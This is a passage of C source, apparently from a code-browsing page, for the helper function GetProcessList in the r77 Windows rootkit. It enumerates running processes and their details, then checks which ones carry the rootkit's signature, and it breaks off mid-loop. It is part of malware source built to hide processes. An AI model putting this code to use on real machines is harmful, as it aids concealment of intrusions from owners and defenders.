Function GetProcessList

Helper/Helper.c:15–96

}

BOOL GetProcessList(PPROCESS_LIST_ENTRY entries, LPDWORD count)
{
	BOOL result = FALSE;
	*count = 0;

	// Get r77 configuration to determine which processes are hidden by ID.
	PR77_CONFIG r77Config = LoadR77Config();

	// Get all processes with an r77 signature. The signature indicates either,
	//  - that a process is injected with the rootkit,
	//  - or that it's the r77 service,
	//  - or that it's an r77 helper file.

	PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000);
	DWORD r77ProcessCount = 1000;
	if (GetR77Processes(r77Processes, &r77ProcessCount))
	{
		HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
		if (snapshot != INVALID_HANDLE_VALUE)
		{
			PROCESSENTRY32W processEntry;
			processEntry.dwSize = sizeof(PROCESSENTRY32W);

			for (BOOL enumerate = Process32FirstW(snapshot, &processEntry); enumerate; enumerate = Process32NextW(snapshot, &processEntry))
			{
				PPROCESS_LIST_ENTRY entry = &entries[(*count)++];
				entry->ProcessId = processEntry.th32ProcessID;
				StrCpyW(entry->Name, processEntry.szExeFile);
				GetProcessPath(processEntry.th32ProcessID, entry->FullName, MAX_PATH);

				BOOL is64Bit;
				if (Is64BitProcess(processEntry.th32ProcessID, &is64Bit))
				{
					entry->Platform = is64Bit ? 64 : 32;
				}
				else
				{
					entry->Platform = -1;
				}

				entry->IntegrityLevel = -1;
				HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processEntry.th32ProcessID);
				if (process)
				{
					GetProcessIntegrityLevel(process, &entry->IntegrityLevel);

					DWORD userNameLength = 256;
					if (!GetProcessUserName(process, entry->UserName, &userNameLength))
					{
						entry->UserName[0] = L'\0';
					}

					CloseHandle(process);
				}

				for (DWORD i = 0; i < r77ProcessCount; i++)
				{
					if (r77Processes[i].ProcessId == processEntry.th32ProcessID)